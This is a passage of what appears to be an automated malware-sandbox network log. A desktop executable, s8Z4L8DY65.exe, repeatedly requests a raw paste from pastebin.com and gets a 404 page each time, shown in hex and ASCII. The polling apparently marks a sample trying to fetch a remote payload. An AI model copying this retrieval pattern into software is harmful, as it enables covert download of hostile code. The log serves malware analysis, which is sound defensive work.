user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	54826	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:03 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:03 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 107 Server: cloudflare CF-RAY: 89cf56546a6417bd-EWR
2024-07-02 14:31:03 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	54828	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:03 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:03 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 107 Server: cloudflare CF-RAY: 89cf56589a38c34e-EWR
2024-07-02 14:31:03 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.6	54829	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:04 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:04 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 108 Server: cloudflare CF-RAY: 89cf565c9f997d00-EWR
2024-07-02 14:31:04 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	54830	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:04 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:05 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 109 Server: cloudflare CF-RAY: 89cf5660bd8d5e7f-EWR
2024-07-02 14:31:05 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.6	54831	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:05 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:05 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 109 Server: cloudflare CF-RAY: 89cf56655fe518bc-EWR
2024-07-02 14:31:05 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	54832	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:06 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:06 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 110 Server: cloudflare CF-RAY: 89cf5669985a17e1-EWR
2024-07-02 14:31:06 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.6	54833	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:07 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:07 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 111 Server: cloudflare CF-RAY: 89cf566d9920432b-EWR
2024-07-02 14:31:07 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	54834	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:07 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:07 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 111 Server: cloudflare CF-RAY: 89cf5671bdb543e9-EWR
2024-07-02 14:31:07 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	54835	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:08 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:08 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 112 Server: cloudflare CF-RAY: 89cf5675ef3c4361-EWR
2024-07-02 14:31:08 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	54836	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:09 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:09 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 113 Server: cloudflare CF-RAY: 89cf567a3d6f0f71-EWR
2024-07-02 14:31:09 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	54837	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:09 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:09 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 113 Server: cloudflare CF-RAY: 89cf567e1cd542f1-EWR
2024-07-02 14:31:09 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	54838	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:10 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:10 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 114 Server: cloudflare CF-RAY: 89cf56820db21811-EWR
2024-07-02 14:31:10 UTC	481	IN	Data Raw: 31 64 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 30 2e 37 35 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 79 65 73 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 50 61 73 74 65 62 69 6e 2e Data Ascii: 1da<!DOCTYPE html><html lang="en"><head> <meta name="viewport" content="width=device-width, initial-scale=0.75, maximum-scale=1.0, user-scalable=yes" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Pastebin.
2024-07-02 14:31:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	54839	104.20.3.235	443	672	C:\Users\user\Desktop\s8Z4L8DY65.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 14:31:10 UTC	50	OUT	GET /raw/cs6P4mHQ HTTP/1.1 Host: pastebin.com
2024-07-02 14:31:11 UTC	445	IN	HTTP/1.1 404 Not Found Date: Tue, 02 Jul 2024 14:31:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close x-frame-options: DENY x-frame-options: DENY x-content-type-options: nosniff x-content-type-options: nosniff x-xss-protection: 1;mode=block x-xss-protection: 1;mode=block cache-control: public, max-age=1801 CF-Cache-Status: HIT Age: 115 Server: cloudflare CF-RAY: 89cf5685eaf31a40-EWR
